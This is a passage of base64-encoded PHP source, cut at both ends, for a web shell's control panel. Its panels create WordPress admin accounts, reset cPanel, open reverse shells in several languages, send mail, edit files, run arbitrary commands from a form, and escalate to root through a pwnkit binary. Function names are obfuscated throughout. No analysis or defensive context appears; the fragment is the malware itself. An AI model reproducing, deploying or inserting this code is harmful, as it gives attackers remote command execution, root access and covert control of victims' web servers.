CA8L2Zvcm0+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQogICAgPC9kaXY+DQogICAgPD9waHAgaWYgKGlzc2V0KCRfR0VUWydjcGFuZWxyZXNldCddKSkgOiA/Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbCBhY3RpdmUiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGFpbmVyIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPg0KICAgICAgICAgICAgICAgICAgICA8aDM+PGI+PGkgaWQ9Im1vZGFsLXRpdGxlIj46OiBDcGFuZWwgUmVzZXQgPC9pPjwvYj48L2gzPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWlzaSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJlbWFpbCIgbmFtZT0icmVzZXRjcCIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IllvdXIgZW1haWwgOiBleGFtcGxlQG1haWwuY29tIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYnRuLWZvcm0iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93Ij4mbmJzcDs8YSBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIGJveC1zaGFkb3ciIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpID8+Ij5DbG9zZTwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICA8P3BocCBlbmRpZjsgPz4NCiAgICA8P3BocCBpZiAoaXNzZXQoJF9HRVRbJ2NyZWF0ZXdwJ10pKSA6ID8+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIGFjdGl2ZSI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250YWluZXIiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+DQogICAgICAgICAgICAgICAgICAgIDxoMz48Yj48aSBpZD0ibW9kYWwtdGl0bGUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPkNSRUFURSBXT1JEUFJFU1MgQURNSU4gUEFTU1dPUkQ8L2NlbnRlcj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2k+PC9iPjwvaDM+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaXNpIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiX25hbWUiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSJEQl9OQU1FIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiX3VzZXIiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSJEQl9VU0VSIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiX3Bhc3N3b3JkIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iREJfUEFTU1dPUkQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGJfaG9zdCIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IkRCX0hPU1QiIHZhbHVlPSIxMjcuMC4wLjEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aHIgc2l6ZT0iMiIgY29sb3I9ImJsYWNrIiBzdHlsZT0ibWFyZ2luOjBweCAzMHB4OyBib3JkZXItcmFkaXVzOjNweDsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0id3BfdXNlciIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IllvdXIgVXNlcm5hbWUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0id3BfcGFzcyIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IllvdXIgUGFzc3dvcmQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1idG4tZm9ybSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0d3AiIHZhbHVlPSJTdWJtaXQiIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UgYm94LXNoYWRvdyI+Jm5ic3A7PGEgY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93IiBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiI+Q2xvc2U8L2E+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgPD9waHAgZW5kaWY7ID8+DQogICAgPD9waHAgaWYgKGlzc2V0KCRfR0VUWydiYWNrY29ubmVjdCddKSkgOiA/Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbCBhY3RpdmUiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGFpbmVyIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPg0KICAgICAgICAgICAgICAgICAgICA8aDM+PGI+PGkgaWQ9Im1vZGFsLXRpdGxlIj46OiBCYWNrY29ubmVjdDwvaT48L2I+PC9oMz4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGNsYXNzPSJiYy1nZWNrbyBib3gtc2hhZG93IiBuYW1lPSJnZWNrby1iYyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iLSI+Q2hvb3NlIEJhY2tjb25uZWN0PC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0icGVybCI+UGVybDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InB5dGhvbiI+UHl0aG9uPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0icnVieSI+UnVieTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9ImJhc2giPkJhc2g8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJwaHAiPnBocDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Im5jIj5uYzwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InNoIj5zaDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Inh0ZXJtIj5YdGVybTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9ImdvbGFuZyI+R29sYW5nPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJiYWNrY29ubmVjdC1ob3N0IiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iMTI3LjAuMC4xIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ibnVtYmVyIiBuYW1lPSJiYWNrY29ubmVjdC1wb3J0IiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iMTMzNyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1idG4tZm9ybSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0LWJjIiB2YWx1ZT0iU3VibWl0IiBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIGJveC1zaGFkb3ciPiZuYnNwOzxhIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UgYm94LXNoYWRvdyIgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4iPkNsb3NlPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgIDw/cGhwIGlmIChpc3NldCgkX0dFVFsnbWFpbGVyJ10pKSA6ID8+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIGFjdGl2ZSI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250YWluZXIiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+DQogICAgICAgICAgICAgICAgICAgIDxoMz48Yj48aSBpZD0ibW9kYWwtdGl0bGUiPjo6IFBIUCBNYWlsZXI8L2k+PC9iPjwvaDM+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaXNpIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtbWFpbC10ZXh0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJtZXNzYWdlLXNtdHAiIGNsYXNzPSJib3gtc2hhZG93IG1haWwiIHBsYWNlaG9sZGVyPSImbmJzcDtZb3VyIFRleHQgaGVyZSEiPjwvdGV4dGFyZWE+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtYWlsdG8tc3ViamVjdCIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IlN1YmplY3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iZW1haWwiIG5hbWU9Im1haWwtZnJvbS1zbXRwIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iZnJvbSA6IGV4YW1wbGVAbWFpbC5jb20iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iZW1haWwiIG5hbWU9Im1haWwtdG8tc210cCIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9InRvIDogZXhhbXBsZUBtYWlsLmNvbSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJ0bi1mb3JtIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UgYm94LXNoYWRvdyI+Jm5ic3A7PGEgY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93IiBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiI+Q2xvc2U8L2E+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgPD9waHAgZW5kaWY7ID8+DQogICAgPD9waHAgaWYgKCRfR0VUWydmJ10pIDogPz4NCiAgICAgICAgPGRpdiBjbGFzcz0iY29kZS1lZGl0b3IiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29kZS1lZGl0b3ItY29udGFpbmVyIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2RlLWVkaXRvci1oZWFkIj4NCiAgICAgICAgICAgICAgICAgICAgPGgzPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1jb2RlIj48L2k+Jm5ic3A7IENvZGUgRWRpdG9yIDogPD89IHVueCgkX0dFVFsnZiddKTsgPz48L2gzPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvZGUtZWRpdG9yLWJvZHkiPg0KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJjb2RlLWVkaXRvciIgaWQ9ImNvZGUiIGNsYXNzPSJib3gtc2hhZG93IiBhdXRvZm9jdXM+PD89ICRmdW5nc2lbMTBdKCRmdW5nc2lbMTFdKCRmdW5nc2lbMF0oKSAuICIvIiAuIHVueCgkX0dFVFsnZiddKSkpOyA/PjwvdGV4dGFyZWE+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1idG4tZm9ybSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZS1lZGl0b3IiIHZhbHVlPSJTYXZlIiBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIj4mbmJzcDs8YnV0dG9uIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UiIGlkPSJjbG9zZS1lZGl0b3IiPkNsb3NlPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgIDw/cGhwIGlmICgkX0dFVFsndGVybWluYWwnXSA9PSAibm9ybWFsIikgOiA/Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbCI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1jb250YWluZXIiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsLWhlYWQiPg0KICAgICAgICAgICAgICAgICAgICA8dWw+DQogICAgICAgICAgICAgICAgICAgICAgICA8bGkgaWQ9InRlcm1pbmFsLXRpdGxlIj48Yj48aSBjbGFzcz0iZmEtc29saWQgZmEtdGVybWluYWwiPjwvaT4mbmJzcDtURVJNSU5BTDwvYj48L2xpPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgY2xhc3M9ImNsb3NlLXRlcm1pbmFsIj48aSBjbGFzcz0iZmEtc29saWQgZmEtcmlnaHQtZnJvbS1icmFja2V0Ij48L2k+PC9hPjwvbGk+DQogICAgICAgICAgICAgICAgICAgIDwvdWw+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtYm9keSI+DQogICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBjbGFzcz0iYm94LXNoYWRvdyIgZGlzYWJsZWQ+PD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ3Rlcm1pbmFsJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZnVuZ3NpWzEwXShjbWQoJF9QT1NUWyd0ZXJtaW5hbC10ZXh0J10gLiAiIDI+JjEiKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/PjwvdGV4dGFyZWE+DQogICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHVsPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGVybWluYWwtdGV4dCIgY2xhc3M9InRlcm1pbmFsLWlucHV0IGJveC1zaGFkb3ciIHBsYWNlaG9sZGVyPSI8Pz0gJGZ1bmdzaVs5XSgpIC4gIkAiIC4gJF9TRVJWRVJbIlx4NTNceDQ1XHg1Mlx4NTZceDQ1XHg1Mlx4NWZceDQxXHg0NFx4NDRceDUyIl07ID8+IiBhdXRvZm9jdXM+PC9saT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idGVybWluYWwiIHZhbHVlPSI+IiBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIj48L2xpPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgIDw/cGhwIGlmICgkX0dFVFsndGVybWluYWwnXSA9PSAicm9vdCIpIDogPz4NCiAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtY29udGFpbmVyIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1oZWFkIj4NCiAgICAgICAgICAgICAgICAgICAgPHVsPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGlkPSJ0ZXJtaW5hbC10aXRsZSI+PGI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXRlcm1pbmFsIj48L2k+Jm5ic3A7QVVUTyBST09UPC9iPjwvbGk+DQogICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iIiBjbGFzcz0iY2xvc2UtdGVybWluYWwiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1yaWdodC1mcm9tLWJyYWNrZXQiPjwvaT48L2E+PC9saT4NCiAgICAgICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1ib2R5Ij4NCiAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9IiIgZGlzYWJsZWQ+PD9waHAgaWYgKCRmdW5nc2lbM10oJy5tYWQtcm9vdCcpICYmICRmdW5nc2lbM10oJ3B3bmtpdCcpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gJGZ1bmdzaVsxMV0oJy5tYWQtcm9vdCcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyX3RleHQgPSBleHBsb2RlKCIgIiwgJHJlc3BvbnNlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHJfdGV4dFswXSA9PSAidWlkPTAocm9vdCkiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdC1yb290J10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGNtZCgnLi9wd25raXQgIicgLiAkX1BPU1RbJ3Jvb3QtdGVybWluYWwnXSAuICcgIDI+JjEiJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJUaGlzIERldmljZSBJcyBOb3QgVnVsbmVyYWJsZVxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBjbWQoJ2NhdCAvZXRjL29zLXJlbGVhc2UnKSAuICJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIktlcm5lbCBWZXJzaW9uIDogIiAuIHN1Z2dlc3RfZXhwbG9pdCgpIC4gIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmdW5nc2lbMjRdKCcubWFkLXJvb3QnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gPz48L3RleHRhcmVhPg0KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx1bD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJvb3QtdGVybWluYWwiIGNsYXNzPSJ0ZXJtaW5hbC1pbnB1dCIgcGxhY2Vob2xkZXI9Ijw/PSAicm9vdCIgLiAiQCIgLiAkX1NFUlZFUlsiXHg1M1x4NDVceDUyXHg1Nlx4NDVceDUyXHg1Zlx4NDFceDQ0XHg0NFx4NTIiXTsgPz4iIGF1dG9mb2N1cz48L2xpPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQtcm9vdCIgdmFsdWU9Ij4iIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UiPjwvbGk+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3VsPg0KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgPD9waHAgZW5kaWY7ID8+DQogICAgPD9waHAgaWYgKCRfR0VUWydyZSddID09IHRydWUpIDogPz4NCiAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwgYWN0aXZlIj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRhaW5lciI+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4NCiAgICAgICAgICAgICAgICAgICAgPGgzPjxiPjxpIGlkPSJtb2RhbC10aXRsZSI+UmVuYW1lIDogPD89IHVueCgkX0dFVFsncmUnXSkgPz48L2k+PC9iPjwvaDM+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+DQogICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gaWQ9Im1vZGFsLWlucHV0Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmVuYW1lRmlsZSIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IlJlbmFtZSI+PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYnRuLWZvcm0iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93Ij4mbmJzcDs8YnV0dG9uIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UgYm94LXNoYWRvdyBjbG9zZS1idG4tcyI+Q2xvc2U8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgIDw/cGhwIGlmICgkX0dFVFsnY2gnXSA9PSB0cnVlKSA6ID8+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIGFjdGl2ZSI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250YWluZXIiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+DQogICAgICAgICAgICAgICAgICAgIDxoMz48Yj48aSBpZD0ibW9kYWwtdGl0bGUiPkNoYW5nZSBQZXJtaXNzaW9uIDogPD89IHVueCgkX0dFVFsnY2gnXSkgPz48L2k+PC9iPjwva